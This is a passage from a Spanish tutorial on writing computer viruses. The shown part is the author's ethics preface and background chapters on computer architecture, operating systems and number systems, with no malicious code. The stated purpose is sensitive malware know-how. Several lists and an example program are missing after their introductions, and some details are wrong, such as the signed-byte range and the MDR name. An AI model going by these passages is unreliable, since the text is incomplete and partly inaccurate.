Programacion de Virus
Programacion de Virus
Programacion de Virus
*Escribir virus informáticos no es fácil. Requiere esfuerzo, requiere muchas horas delante de
un ordenador, a veces tan solo para corregir diez líneas de código que no sabes por qué no
funcionan. La paciencia es la primera arma con la que hay que contar. Por eso, aunque he
intentado ser detallado en las explicaciones y pongo mucho código en ellas, no hay virus
completos en este curso. No se puede dar todo hecho, uno ha de acostumbrarse desde el
principio a tener que buscarse la vida y soportar la desesperación cuando algo no funciona
hasta que al fin se descubre cuál era el fallo.
*Eso implica una cosa; escribe virus porque te guste escribir virus. Quien pretende ser el
//mega-h4x0r// y llenar el mundo de bichitos o cualquier cosa así, se quemará cuando tenga
que tirarse dos horas debuggeando código hasta descubrir que algo no funciona porque se le
olvidó añadir una estupidez. Quien pretende ser un malote-jax0rito lo tiene más fácil si se
baja programas para nukear y se pone a hacer el idiota en IRC o escribe un estúpido troyano
en un .BAT y se lo intenta colar a la gente (patético, ¿verdad?)... en resumen, destruir es muy
sencillo, lo difícil es crear.
* Imaginación es la clave a la hora de escribir virus informáticos; el mundo está lleno de gente
que escribe bazofia con lenguaje de Macro de Word, o incluso de programadores que aunque
muy buenos técnicamente, no aportan nada cuando escriben algo. Un virus sencillo que tenga
algo nuevo aporta mucho más que el //m3g4v1rus de 30kb// que infecta diez mil tipos de
fichero que ya han sido infectados antes. Sería fácil sacar un virus polimórfico para Linux
reutilizando otro engine que tuviéramos hecho para Windows, pero... ¿qué aportaría?
* Si parte de tus pretensiones se orientan hacia la rama que llamaríamos //hacktivista//, ten
cuidado con los programas autorreplicantes si quieres darles el uso de arma; mide sus
posibilidades, pues la difusión de un virus con toda probabilidad causará no más que daños a
usuarios inocentes. Los virus como baza antisistema, como método del caos, serían todo un
tema a discutir pero que evidentemente se sale de la temática de este curso y es
responsabilidad de cada persona individual; no obstante como digo, soltar un virus aparte de
ilegal no es precisamente algo "agradable" para el usuario que reacciona borrando sus archivos
para librarse de él. Dañar la información contenida en un ordenador no aporta nada positivo a
nadie, y aunque tu código no sea destructivo el usuario que reacciona con pánico desconoce
ese hecho; puede destruirlo él mismo siendo tú indirectamente responsable de ello. Aunque
tú eres quien ha de decidir qué hacer con la información, si he de dar algún tipo de consejo
es sencillo; //no sueltes tus virus, experimenta en tu ordenador. No ganarás nada de otra
forma. //
* Por último, aclarar que mi única labor aquí es transmitir información. Lo que cada uno haga
con ella es asunto suyo; ni me siento ni soy responsable de aquello que cada persona pueda
decidir hacer una vez dotado de los conocimientos suficientes para escribir programas
autorreplicantes (virus). Mantengo mi propia ética respecto a los virus informáticos que
consiste en no "soltarlos" y enviar los ejecutables a compañías antivirus si voy a publicar el
código en algún lado. Esta ética personal no tiene por qué coincidir con la de quien lea este
curso; toma tus propias decisiones y sé responsable de ellas, aunque si eres del tipo "soy
mal@ y quiero infectar al mundo", mejor será que te olvides de este curso, te aburrirá...
2 - Estructura de computadores
Arquitectura Von Neumann
Así se conoce la forma de estructuración utilizada en los ordenadores actuales; desde 1945
con UNIVAC, se utiliza la arquitectura diferenciadora entre hardware y software que él creó
(Von Neumann es junto con Alan Turing padre de la informática moderna, y curiosamente el
gran precursor de los virus informáticos en sus estudios sobre autómatas autorreproductores
que John Conway continuó en 1970 con el juego "Life", antecesor a su vez de los algoritmos
genéticos). Según esta arquitectura, una definición adecuada para un computador sería la
siguiente:
Máquina programada de propósito general capaz de realizar una serie de operaciones básicas
siguiendo un conjunto de instrucciones que le son proporcionadas a través de un programa
encaminado a resolver un problema.
Los elementos básicos de un computador propuestos por Von Neumann y que se utilizan en la
actualidad son los siguientes:
-Memoria: Su misión consiste en servir de almacenamiento de la información dentro del
computador, sean programas o datos, y sin hacer distinción entre código y datos (no hay una
memoria para datos y otra para código ejecutable, está unificada).
-Dispositivos de E/S (Entrada/Salida): Engloban todos aquellos periféricos como puedan ser
ratones, monitores, teclados,… es decir, todo lo que proporcione datos al computador o a
través de lo cual salgan de él.
-BUS de comunicaciones: Las operaciones de accesos a datos, de manejo de periféricos y
otras, han de realizarse a través de un BUS (hilos de comunicación); su misión engloba por
ejemplo la transferencia de datos entre memoria y procesador.
-CPU - Unidad Central de Proceso (Central Processing Unit): Es la encargada de controlar y
ejecutar todas las funciones del computador. Es la que determina en qué condición se ejecuta
el código y como han de mandarse los datos, generando además todas las señales de control
que afectan al resto de las partes.
Memoria
Jerarquía de memoria
La memoria en un computador se organiza en varios niveles que se organizan en forma
piramidal, en el pico aquello que es más rápido y también más escaso (registros) y en la base
lo más lento pero al tiempo más abundante (discos):
-BUS de datos: Transfiere información, como su propio nombre indica. Por ejemplo, un bus de
datos une el procesador con los discos duros o la memoria, para que estos puedan ser
accedidos y su información transferida de un lugar a otro.
-BUS de control: Transporta las señales que se utilizan para configuración y control; pueden
ser por ejemplo señales que decidan qué periférico ha de transmitir en un determinado
momento, indicaciones para la memoria RAM de si debe de leer o escribir, etc.
-BUS de direcciones: Su utilidad se hace patente en operaciones como accesos a memoria;
transportaría la indicación acerca del lugar de donde hay que leer o escribir en la RAM, o en
el acceso a un disco duro el lugar físico de este donde se quiere leer o escribir.
Estos buses se combinan constantemente para poder llevar a cabo satisfactoriamente las
operaciones requeridas por el procesador central. En una lectura de memoria, la CPU
mandaría señales para activar el proceso de lectura en la RAM, mientras que por el bus de
direcciones viajaría aquella dirección de la que se quiere leer. Una vez llegados estos datos a
la memoria, por el bus de datos viajaría hasta el procesador aquella información que se
requirió en un principio.
CPU
Se trata del "gran cerebro" del computador, encargada del control de todo lo que sucede y de
la ejecución del código. Se compone de tres partes principales; la ALU (Arithmethic-Logic
Unit), la Unidad de Control y la Unidad de Registros.
Modelo sencillo de un procesador relacionado con memoria y dispositivos de E/S
La ALU (Unidad Aritmético-Lógica o Arithmethic-Logic Unit)
Su misión es la de realizar operaciones aritméticas. Dependen del diseño, aunque
encontraremos como básicas suma y resta; puede que queramos disponer de otras más
complejas como multiplicación y división (para ahorrar tiempo a la hora de hacer una suma
reiterada en lugar de una multiplicación si no estuviera implementada, por ejemplo).
Además, tendremos operaciones lógicas:
* AND: Un AND hecho a dos bits devuelve 1 sólo si los dos bits son 1 (por ejemplo, 011 AND
101 dará como resultado 001). Equivale al "Y" lógico (es decir, al resultado en lógica de algo
como "se da X y se da Y", frase que sólo sería verdadera en caso de darse X e Y).
* OR: Un OR hecho a dos bits devuelve 1 si al menos uno de los dos bits implicado en la
operación es 1 (un 011 OR 101 da como resultado 111). Equivale al "O" lógico (el resultado de
algo como "se dan X, Y o ambos", sentencia cierta en caso de darse X, Y o ambos).
* XOR: Un XOR, (eXclusive OR, O exclusivo) da 1 operando sobre dos bits si uno de los dos bits
es 1 y el otro 0 ( la operación 011 XOR 101 resulta 110). Este "O exclusivo" en lógica es el que
se daría en un "X está vivo o está muerto"; una de las dos condiciones ha de cumplirse para
que esta sentencia sea cierta.
* NOT: Esta operación trabaja con un sólo bit; lo que hace es invertirlo (así, NOT 011 dará 100
como resultado).
Las operaciones con la ALU se pueden indicar mediante una señal de control con los bits
suficientes como para diferenciar entre los tipos de operación existentes. Es decir, si tenemos
2 bits para la señal de control, las posibilidades de estos bits serán "00-01-10-11", lo cual da
como resultado una ALU que pueda hacer cuatro funciones distintas. Con 3 bits, tendríamos
"000-001-010-011-100-101-110-111", es decir, 8 operaciones posibles.
Además de esta señal de control, tendremos dos entradas de datos; esto es, los operandos de
la función que se va a realizar. Así, si queremos hacer un AND entre dos números, meteremos
cada uno de ellos por una entrada de datos y seleccionaremos el AND. Por supuesto, habrá al
menos una salida conectada para el resultado de la operación:
La Unidad de Control
Es la que realiza el secuenciamiento del programa que estoy ejecutando; esto es, la
ejecución de la instrucción actual y la obtención de la siguiente. Su función es obtener las
señales de temporización y control para ejecutar según los datos que entran, determinando el
funcionamiento de la CPU y su comunicación interna.
Al ir a ejecutar una instrucción, la unidad de control pedirá que sea cargada y la analizará,
viendo qué tiene que hacer en la CPU para que lo que la instrucción dice que ha de hacerse,
llegue a buen término; por ejemplo, si esta instrucción es un AND de dos elementos,
mandaría estos dos a la ALU y activaría las señales de control para que realizase un AND, para
después transferir el resultado donde la propia instrucción indicase.
La Unidad de Registros
Tiene una gran importancia, ya que la CPU usa estos registros para no tener que estar
siempre accediendo a la memoria. Un registro no es más que un "pedazo" de memoria con una
velocidad de acceso muy grande, normalmente de un tamaño que no supera los 64 bits
(siempre una cifra tipo 16, 32, 64, 128...).
Sus usos, son diversos; mientras que por ejemplo cuando se ejecuta una instrucción esta se
guarda en un registro mientras dura su procesamiento, pueden usarse también para
almacenar datos con los que operar o hacer transferencias con la memoria, etc.
Hay dos tipos básicos de registros
A.- Registros de propósito general
Podemos darles cualquier uso. Son accesibles, visibles al programador, que puede utilizarlos.
Sirven para volcado de datos, instrucciones... por ejemplo, en el MC68000 de Motorola,
existen 16 registros de 32 bits de propósito general (A0-A7 y D0-D7, para almacenar
direcciones y datos respectivamente). En otros como los 80x86 de Intel tenemos otra serie de
registros de 32 bits con nombres como EAX, EBX, ECX, EDX, etc...
B.- Registros de propósito específico
Son registros que utilizan la unidad de control; el programador no puede utilizarlos, al menos
directamente. Los principales (cuyo nombre cambia según cada implementación pero que por
lo general se suelen encontrar en toda CPU) son:
-IR: Su misión es contener la instrucción que se está ejecutando por la CPU; es el Registro de
Instrucción (o Instruction Register). Mientras la instrucción se esté ejecutando, se contendrá
ahí.
-PC: Program Counter o Registro de Contador de Programa. Su misión es contener la dirección
de la instrucción siguiente a la que estamos ejecutando. Por ello, permite ejecutar un
programa de modo secuencial (línea a línea), tal y como ha sido programado.
-SR: Es el Registro de Estado, o Status Register. Su misión es reflejar en cada momento en
qué situación se encuentran algunos detalles de la CPU (por ejemplo, almacena resultados de
comparaciones) de cara a tomar decisiones, así como otros parámetros que pueden necesitar
ser consultados. En la mayoría de las implementaciones este registro es, al menos, accesible.
-SP: Registro de Pila o Stack Pointer; la función de la "pila" será explicada ya más adelante,
pero es necesario para poder hacer llamadas a funciones en programas y para muchas otras
cosas.
-MAR: Registro de Dirección de Memoria (Memory Address Register): Es el que finalmente
comunica la CPU con el bus externo. Concluída la instrucción, el PC se vuelca en el MAR, y el
bus de direcciones localizará la siguiente instrucción según el contenido de este registro.
-MDR: Registro de Datos de Memoria (Data Address Register): Es el que pone en contacto la
CPU y el bus de datos, que contiene la información para ser transferida por él o para
recibirla.
Ejemplo de un procesador simple
Para poner en práctica lo explicado anteriormente, vamos a diseñar y programar un
procesador muy simple, que pretende servir para acabar de comprender la forma de
relacionarse de todos los elementos descritos.
Estructura del procesador
Nuestro pequeño ordenador, tendrá las siguientes características:
-Una memoria de 64Kb (65536 bytes), que será direccionable con un registro MAR en el
procesador de 16 bits (si se hace la operación, 2 elevado a 16 es 65536, el mayor número que
un número binario de 16 cifras puede representar).
-Un registro de propósito general de 16 bits, llamado AC; además, un SR (estado), MAR y MDR
(datos y direcciones) y PC.
-Una ALU en el procesador con 8 operaciones: AND, OR, NOT, XOR, ADD (suma), SUB (resta),
INC (incrementa en uno) y DEC (resta uno).
Juego de instrucciones
Las instrucciones que va a poder ejecutar la CPU son las siguientes:
- Aritmético-lógicas: las que realiza la ALU, es decir, AND, OR, NOT, XOR, ADD, SUB, INC y
DEC.
-Para mover posiciones de memoria entre sí, al registro AC o desde el registro AC (todo ello
reunido en la instrucción "MOV").
-Salto en ejecución (JMP)
-Comparación (CMP): Lo que hará será actualizar el registro de estado en la CPU dependiendo
del resultado de la comparación, para permitir saltos condicionales a posteriori.
-Salto condicional (JE -> Salta si Igual (Jump if Equal), JNE -> Salta si no Igual (Jump if Not
Equal)).
-Parada del procesador (STOP)
Algunos ejemplos de la implementación de estas instrucciones serían:
* AND [1214h],AC -> realizaría la operación lógica entre el registro AC y los 16 bits contenidos
en la dirección de
memoria 1214h (h significa que la notación del número es hexadecimal), almacenando en esa
posición de memoria el resultado.
* OR [1263h], [1821h] -> haría un OR lógico entre los contenidos de memoria de 1263h y
1821h, almacenando en 1263h el resultado.
* MOV AC,[8241h] -> Movería el contenido de la dirección de memoria 8241h al registro AC.
* JMP 2222h -> Cambiaría el PC (Program Counter, es decir, la siguiente instrucción a ser
ejecutada) a la dirección 2222h. La instrucción que se contenga en esa dirección será la
siguiente a ser ejecutada.
* CMP AC, 12 -> Si el contenido del registro AC es 12, activaría en el registro de estado de la
CPU un bit que indicaría que el resultado de la ultima comparación es "verdadero", con lo que
un JE (Jump if Equal o Salta si Igual) se ejecutaría si siguiese a esa instrucción.
* JE 1111h -> En caso de que en una comparación (CMP) anterior el resultado fuera verdadero
(por ejemplo, en el caso anterior AC vale 12), el PC cambiaría para contener 1111h como
dirección de la siguiente instrucción a ejecutar. En caso de que la comparación hubiera
resultado falsa - en el caso anterior que AC no valga 12 -, la instrucción sería ignorada y se
ejecutaría la siguiente instrucción.
Ejecución de una instrucción
Podemos distinguir dos fases:
Fase de Fetch: Al comienzo del procesado de una nueva instrucción, el registro específico PC
de la CPU contiene la dirección de donde esta ha de obtenerse. El contenido de este registro
se pasará al MAR (Memory Address Register) transfiriéndose a la memoria mediante el bus de
direcciones, y se activará esta memoria para indicar que se desea realizar una lectura sobre
ella enviando una señal adecuada a través del bus de control. Así, la instrucción llegará hasta
el MDR, de donde se enviará a la Unidad de Control para su procesamiento.
Procesamiento: Una vez llega la instrucción a la Unidad de Control, ésta distinguirá según su
codificación de qué tipo es y realizará las operaciones necesarias para ejecutarla. Si por
ejemplo es un salto tipo JMP, enviará la dirección al PC y dará por terminada la ejecución de
la instrucción. Por supuesto hay casos bastante más complejos, como podría ser un ADD AC,
215 (sumar 215 al registro AC). En esta en particular, el procesador enviará esta cifra (215) a
una de las entradas de la ALU y el registro AC a la otra, indicando mediante señales de
control a ésta que desea activar la operación de sumar, ADD. Una vez realizada la operación
dentro de la ALU, su salida se enviará de nuevo al registro AC, con lo que ahora contendrá
AC+215, acabando entonces la ejecución de esta instrucción y pasando de nuevo a la fase de
fetch (por supuesto no sin antes sumarle al registro de contador de programa la longitud de la
instrucción que se acaba de ejecutar, para que al acceder a memoria en el fetch se cargue la
siguiente en la Unidad de Control).
Dado que los ejemplos nunca sobran, veamos una instrucción como CMP AC, 12. Una vez
llegue tras la fase de fetch a la Unidad de Control, de nuevo se utilizará la ALU; en esta
ocasión se la indicará mediante señales de control que realice la operación de resta (SUB),
metiendo por un lado el 12 y por otro el registro AC. Sin embargo, la salida de la ALU se
perderá pues lo único que nos importa es si el resultado de la operación es 0 (si el contenido
de AC - 12 resulta cero, está claro que AC contiene un 12). En caso de ser por tanto AC = 12,
se modificará el Registro de Estado para indicar que el resultado de la anterior operación fue
cero, es decir, que AC vale efectivamente 12 (aunque no necesariamente AC, podríamos
hacer algo como CMP [1212h],16, es decir, comparar 16 con el contenido de la posición de
memoria 1212h). A posteriori, de nuevo se sumaría el tamaño de esta instrucción al registro
PC y se haría el fetch de la siguiente instrucción.
Un programa sencillo
Con lo que sabemos, ya podemos escribir un programa sencillo; en este caso y dado que
nuestro pequeño ordenador no posee operación de multiplicar, lo que va a hacer la rutina
siguiente es la multiplicación entre dos números contenidos en las direcciones de memoria
[1000h] y [1002h]
[1004h].
Bucle:
La misión del sistema operativo (SO) es dar una serie de programas al ordenador que permitan
una utilización cómoda del computador, dotándolo de toda una serie de funciones:
Las tres capas, kernel, API y Shell, siendo kernel la más cercana al computador y shell la más
cercana al usuario
Nivel Kernel
Decíamos en el anterior punto que el "nivel kernel" es el que se encarga de la gestión de los
recursos del computador; por así decirlo, el kernel es la parte más interna de un sistema
operativo, la que maneja las cosas más básicas que este posee y da la base para que
podamos utilizarlo. Realizará la gestión básica de procesos (un proceso es a grandes rasgos
un programa ejecutándose, con su propio espacio virtual de direcciones de memoria tal y como
indicábamos en la parte dedicada a la memoria en el capítulo primero), así como va a ser el
encargado de proteger unos programas de ser accedidos por otros, va a realizar el
mantenimiento del sistema de ficheros, etc. Podemos definir sus tareas como:
Nivel API
Consiste en una serie de servicios que los programas pueden solicitar, complementando los
que el hardware proporciona. Si sólo contásemos con lo que nos da el hardware como
servicios, al programar tendríamos por ejemplo que abrir ficheros localizándolos físicamente en
el disco duro; con esta API, se nos pueden proporcionar funciones software que nos liberen de
esta tarea y nos faciliten las cosas convirtiendo una lectura de un sector del disco duro en algo
tan sencillo como "abrir fichero X" y "leer fichero X", abstrayendo el cúmulo de datos existente
en el HD en estas estructuras llamadas ficheros en lugar de acceder a ellos directamente. Así,
tenemos estas cuatro clases de servicios:
Nivel de Shell
Se trata de la parte del sistema que se encarga de atender y llevar a cabo las peticiones de
los usuarios del computador, proporcionando una serie de funciones básicas que el usuario
pueda llevar a cabo. El nivel de abstracción es mayor que la API, y permite que por ejemplo
al borrar un fichero el usuario tenga simplemente que ejecutar "del fichero" en un sistema
Dos, o "rm fichero" en un Posix (Unix, Linux..) en lugar de tener que programar un ejecutable
que borre ese fichero llamando a funciones de la API.
Sea cual sea la forma de presentación, alfanumérica o gráfica, el shell debería de cumplir estas
funciones:
Cuando encendemos el ordenador, podríamos decir que está "desnudo"; el sistema operativo
no se ha cargado aún y se encuentra inutilizable para el usuario. Así pues, se realizarán una
serie de operaciones antes de darnos el control sobre él.
Si hablamos de arranque desde un disco duro, la ROM cargará en memoria lo que conocemos
como MBR o Master Boot Record. Esto, es un sector del disco duro (el primer sector
físicamente) de 512 bytes que contiene la tabla de particiones del disco duro. En esta tabla se
indicará como se encuentra dividido el HD (podríamos tener por ejemplo un disco duro dividido
en una partición de 4 Gb y otra de 2Gb, por cualquiera que fuese el motivo). Además, se va a
indicar qué partición es la que contiene el sistema operativo activo que se desea arrancar. Así
pues, el programa que hay dentro de la MBR lo que va a hacer es según el contenido de la
tabla de particiones (dentro de esta MBR) cargar el "sector boot", programa de carga del
sistema operativo, correspondiente al que se desea arrancar. A veces sin embargo queremos
tener más de un sistema operativo instalado, como pueda ser la típica combinación
Windows/Linux. En esta ocasión, se utilizan programas más complejos, "gestores de arranque",
con los que el usuario puede decidir si quiere arrancar uno u otro.
El programa de la MBR (sólo en discos duros, puesto que en un diskette no existe), pasará el
control al sector boot o programa de carga del sistema operativo (que ocupa un sector del
disco duro, 512 bytes, aunque servirá sencillamente para arrancar el resto). Una vez cargados
los componentes se pasa a la fase de inicialización del sistema operativo, lo cual incluye:
- Test del sistema: Completa el test realizado por el iniciador ROM, comprobando
también que el sistema de ficheros se encuentra en un estado coherente revisando
los directorios.
-Carga en memoria principal de las partes del SO que hayan de encontrarse siempre
en memoria (SO residente).
Servidor de ficheros
Estructura de ficheros
Los datos en un disco duro serían un caos sin una estructura capaz de organizarlos y
presentarlos de forma coherente. ¿Cómo podemos saber que el sector físico 1537 del disco
duro pertenece al fichero que buscamos y en qué zonas se encuentra este repartido?. Para
ello, en toda partición existe una estructura (llamada FAT o File Allocation Table, Tabla de
Localización de Ficheros, en sistemas Ms-Dos y Windows, o la estructura de i-nodes en
sistemas UNIX) dedicada a esta labor. En ella, se va a mantener un registro de los ficheros que
pertenecen a la partición y dónde se encuentran físicamente.
Así, mientras nosotros hacemos referencia a un concepto abstracto como sería "el fichero c:\
documentos\datos.txt", cuando accedamos a él nuestro sistema operativo traducirá esto junto
con la FAT a "los datos que se almacenan en los sectores (x1, x2,... xn) del disco duro y que
juntos forman una unidad de tamaño Z. En la tabla se indicarán además, otros datos, como
puedan ser los atributos del fichero (sólo lectura, oculto, o los permisos de usuario en UNIX),
fechas de creación y última modificación, tamaño, etc.
Sin embargo, sabemos que en el disco duro no encontramos todos los ficheros juntos sino
que hay una división jerárquica en directorios (me niego a utilizar la palabra "carpetas") y
que los ficheros están relacionados con esos directorios perteneciendo a algunos en
particular. En realidad y aunque la implementación varíe según el sistema operativo, esto es
una falsa sensación; un directorio puede ser un fichero que contenga una serie de nombres,
que serán referencia a otros archivos o a otros directorios. Así, habría un directorio raiz (el
c:\, d:\, etc, o un / ) que contendría toda una serie de ficheros, de los cuales algunos serán
directorios. Estos directorios a su vez, serán ficheros que funcionan como almacenes de
nombres, de los ficheros que contienen y los directorios que cuelgan de él.
Acceso a ficheros
Cuando deseamos acceder a los contenidos de los ficheros tenemos dos maneras:
Acceso a directorios
Las funciones para leer de un directorio varían según el sistema operativo; hay que reconocer
aquí que a bajo nivel (ensamblador) las funciones de las que están dotados los sistemas
Windows son bastante más sencillas que las de un Linux:
Concepto de un proceso
En cada procesador van a mantenerse una serie de estructuras de información que permitan
identificar sus características y los recursos que tiene asignados. Una buena parte de ellas
van a estar en el Bloque de Control de Proceso o BCP, que contiene (en el ejemplo tipo
UNIX) información como la siguiente:
Podemos resumir por tanto un proceso como un conjunto que abarca por un lado los
segmentos de memoria en los que residen código y datos del proceso (imagen de memoria o
core image), por otro lado el contenido de los registros del modelo de programación y
finalmente el BCP ya mencionado.
Jerarquía de procesos
Existe un proceso de inicio original a partir del cual se crean los demás; podríamos entonces
describir el listado de procesos como un árbol en el que un proceso originario da lugar a otros
que a su vez crean más. Cuando un proceso A solicita que al sistema operativo la creación
de otro proceso B, se dirá entonces que A es padre del proceso B, y que B es hijo del A (y el
padre podrá si lo desea matar a su proceso hijo).
Multitarea
Dependiendo de las tareas y usuarios simultáneos, los sistemas operativos pueden ser:
-Monotarea: También monoproceso, ya que sólo permiten que haya un proceso en
cada momento. Un ejemplo típico de esto sería Ms-Dos.
La multitarea, se basa en el hecho de que en todo proceso que ejecutemos siempre van a
haber espacios en los que el microprocesador no tiene nada que hacer; así, cuando se esté
esperando una operación de lectura del disco duro el procesador no estará haciendo nada útil
con lo que su tiempo puede ser utilizado para otras tareas. Así pues, tenemos un modelo más
eficiente para la multitarea que simplemente asignar un trozo de tiempo a cada proceso;
podemos adaptarnos a su funcionamiento usando sus tiempos de uso de la E/S en ejecutar
otros procesos.
Un fichero ejecutable va normalmente a mantener una estructura que va a incluir las siguientes
partes:
-Datos: Existen de dos tipos; los datos inicializados por un lado van a ocupar
espacio en disco, se trata de datos que poseen valor desde un principio. Los datos
sin inicializar no ocupan espacio en el fichero, sino que va a reservárseles una
porción de memoria para que el programa pueda utilizarlos (serán inicializados
desde el propio código).
-Tabla de importaciones: Hará referencia a aquellas funciones que el ejecutable
necesita de las librerías del sistema operativo. El motivo de no incluir estas funciones
en el propio código es sencillo; si hay 100 ejecutables que usan la misma función es
mucho más eficiente cargar la librería que las contiene cuando uno de ellos es
ejecutado que almacenar el código de esta función en el código de cada ejecutable.
En este caso habremos usado 100 veces menos espacio, puesto que la librería sólo
tiene que estar en el disco duro una vez para que pueda ser utilizada por los
ejecutables.
Así pues, cuando se inicie un proceso el sistema operativo asignará un espacio de memoria
para albergarlo, seleccionará un BCP libre de la tabla de procesos rellenándolo con
el pid y uid, descripción de memoria asignada y demás, y finalmente cargará en el segmento
de código en memoria el código y las rutinas necesarias de sistema, y los datos en el
segmento de datos contenido en el fichero, comenzando a ejecutar en su punto inicial.
Además, el proceso recién iniciado tendrá una serie de variables propias que se pasan al
proceso en el momento de su creación como puedan ser en UNIX algunas
como PATH, TERM o HOME, además de los parámetros directamente pasados a través del
shell.
Seguridad
Existen dos grandes mecanismos para proteger la información y evitar el acceso por parte de
usuarios a recursos para los que no han sido habilitados. Podríamos dividirlos en dos tipos;
por un lado los que se llevan a cabo por parte del procesador, y por otro los que dependen
del sistema operativo.
Por ejemplo, un micro ejecutándose en modo usuario no podrá modificar en memoria el código
base del sistema operativo ni realizar varias operaciones prohibidas, como acceder
directamente a los periféricos (este modo es en el que normalmente estamos ejecutando).
Cuando queramos realizar una lectura del disco duro entonces lo que haremos será llamar a
una interrupción pidiendo ese servicio. ¿Qué hará entonces el sistema operativo?. Dará control
a la zona del kernel dedicada a tratar esa interrupción (y por tanto en esta ocasión de leer del
disco duro), pasando a modo supervisor para que se pueda realizar su función. Al terminar el
procesamiento de la interrupción, el micro volverá al estado de usuario y continuará ejecutando
el programa; se trata de un método infalible si está bien implementado, para que el usuario del
ordenador jamás pueda ser supervisor excepto en aquellas ocasiones que el sistema operativo
lo permita.
Este sistema adquiere mucha potencia cuando se suma a un sistema fuerte de protección de
ficheros; en los sistemas UNIX, cada fichero tiene un dueño y una serie de permisos de
acceso que consisten en 9 bits: "rwx rwx rwx". El primer bloque de tres bits se refiere al
usuario que es dueño del fichero (r es read, lectura, w es write, escritura, y x es exec,
ejecución), el segundo bloque al grupo de usuarios al que pertenece el dueño del fichero y el
tercero al resto del mundo. Así, supongamos este fichero:
Diferente es cuando estos permisos se aplican sobre un directorio; en este caso siguen
habiendo nueve bits pertenecientes a usuario, grupo y resto de usuarios, pero la r especifica
que el directorio se puede leer (hacer un listado de sus contenidos), la w que se puede añadir
o borrar ficheros en él, y la x que se puede atravesar para acceder a ficheros alojados a partir
de él.
4 - Sistemas de numeración
Sistema binario
Mientras que el sistema decimal utiliza diez cifras, los números del 0 al 9, para representar la
información, el sistema binario sólo va a tener dos cifras; así, los únicos signos con los que
escribiremos en binario serán el 0 y el 1. Así, un número perfectamente válido en binario
sería el "100110".
Ahora, ¿cómo traducimos de binario a decimal y a la inversa? Un número como 100110 es muy
bonito pero nos expresa más bien pocas cosas. Sí, podemos decir que si a cada una de estas
cifras le pusiéramos una etiqueta, el 0 podría significar falso y el 1 verdadero; esta es una de
las grandes utilidades del sistema binario, cada cifra puede servirnos para almacenar
información en el sentido de si algo es cierto o no.
Pero pasemos a traducirlo, y primero para ello vamos a ver el sentido de la numeración
decimal. Pongamos el número 3741 y preguntémonos cómo hemos obtenido su valor; está
claro, 3741 es lo mismo que 3x1000 + 7x100 + 4x10 + 1x1. Cada vez que nos desplazamos en
una posición a la izquierda, se añade un cero a la derecha del uno inicial que no afecta en su
valor a la última cifra (igualmente, 752 sería 7x100 + 5x10 + 2x1).
Ahora veamos el binario; como tiene dos cifras en lugar de las diez del decimal, es de suponer
que el primer dígito, el más a la derecha, valdrá su valor multiplicado por 1 (2 elevado a
cero, tal y como en el decimal era 10 elevado a cero). El siguiente dígito será 2 elevado a
uno, es decir, 2. Y así irán valiendo 2, 2x2, 2x2x2, etc. Más sencillo, con algunos ejemplos:
11010111: 1x128 + 1x64 + 0x32 + 1x16 + 0x8 + 1x4 + 1x2 + 1x1 = 128 + 64 + 16 + 4 + 2 + 1 = 215
decimal.
Como es sencillo observar, mientras que el número más a la derecha (o bit menos significativo
si lo empezamos a aplicar a la informática) vale 1, cada vez que nos desplazamos a la
izquierda el valor de esa cifra es el doble del anterior; así, el segundo bit menos significativo
valdrá 2 si la cifra es "1", el siguiente 4, y así 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096,
8192, 16384, 32768, 65536...
Sistema hexadecimal
Acabamos de ver un sistema numérico con muchos menos símbolos de lo habitual (¡ tan sólo
el 0 y el 1 !). Ahora toca hacer al contrario; el sistema hexadecimal tiene nada menos que 16
símbolos. Estos, se representarán mediante los números del 0 al 9, y las letras de la A a la F.
Así, el 10 decimal será la A hexadecimal, y el F hexadecimal un 15.
El sistema para traducir de hexadecimal a decimal será del mismo estilo que lo que hacíamos
antes; la cifra más a la derecha del número será multiplicada por 16 elevado a 0 (o sea, por
uno), la siguiente por 16, la siguiente por 16x16, etc. Nada, no obstante, como una buena
calculadora:
Una curiosa coincidencia entre los sistemas hexadecimal y binario, y que hace fácil la
traducción entre ambos, es que cada dos cifras hexadecimales corresponden exáctamente a
un byte (ocho bits) de información binaria, haciendo la traducción entre ambos sistemas casi
automática. Hagamos una pequeña tabla:
|| Binario || Hexadecimal ||
|| 0001 || 1 ||
|| 0010 || 2 ||
|| 0011 || 3 ||
|| 0100 || 4 ||
|| 0101 || 5 ||
|| 0110 || 6 ||
|| 0111 || 7 ||
|| 1000 || 8 ||
|| 1001 || 9 ||
|| 1010 || A ||
|| 1011 || B ||
|| 1100 || C ||
|| 1101 || D ||
|| 1110 || E ||
|| 1111 || F ||
Con esto en cuenta (alguno se habrá dado cuenta de cómo avanzan los números en binario
viendo esta tabla), se puede hacer una traducción casi automática entre ambos sistemas. En
el ejemplo anterior:
Por ello vamos a usar bastante estos sistemas, y de hecho el hexadecimal se va a utilizar
habitualmente al hacer referencia a posiciones de memoria o valores; por ejemplo un registro
de 32 bits se puede representar con un dígito hexadecimal de 8 cifras. La clave reside en que
sabemos que ningún número de 8 cifras hexadecimales ocupa más de 32 bits, lo cual hace
muy compacto este método de representación.
0ABCDh -> 1010101111001101b (usaremos a menudo una h o una b al final del número para
destacar que son números hexadecimales o binarios; es bueno acostumbrarse a esta forma de
representarlos o en caso del hexadecimal también a 0xABCD, puesto que son las formas más
comunes en que un ensamblador que usemos para programar va a identificar que nos estamos
refiriendo a valores en estos sistemas de numeración).
Signo/Magnitud
Con los números binarios tenemos un problema: no sabemos representar números negativos.
Así pues, se han ideado una serie de sistemas que pretenden solucionar este problema, el más
sencillo de los cuales es el signo/magnitud.
En este sistema, la primera cifra del número hará de signo -. Entonces, un byte nos permitirá,
haciendo el bit más significativo (el que está más a la izquierda) el signo negativo o positivo,
tendremos un rango que irá de 127 a 127 (sin signo iría de 0 a 255), teniendo dos
representaciones para el 0 (00000000 y 100000000). Tomaremos entonces, como signo - el 1.
Así, será tan sencillo como en los siguientes ejemplos:
El problema de esta representación, reside en que no se pueden realizar restas con facilidad;
no voy a pararme a explicar cómo se resta en binario - se deduce de todas formas fácilmente
de la resta decimal -, pero simplemente decir que no se realiza de forma coherente con este
sistema.
Complemento a 1
11111110b -> -1 decimal (si comparamos con el signo/magnitud, este sería 10000001, es
decir, que lo que hemos hecho es darle la vuelta a las 7 últimas cifras del número).
Representación práctica
Este último punto, tan sólo pretende destacar las formas en las que se suelen representar los
números hexadecimales y binarios; alguna de estas notaciones la he utilizado ya más atrás,
pero no está mal recapitular y dejar las cosas claras:
-Notación binaria (común): Los números binarios incluídos dentro de código ensamblador se
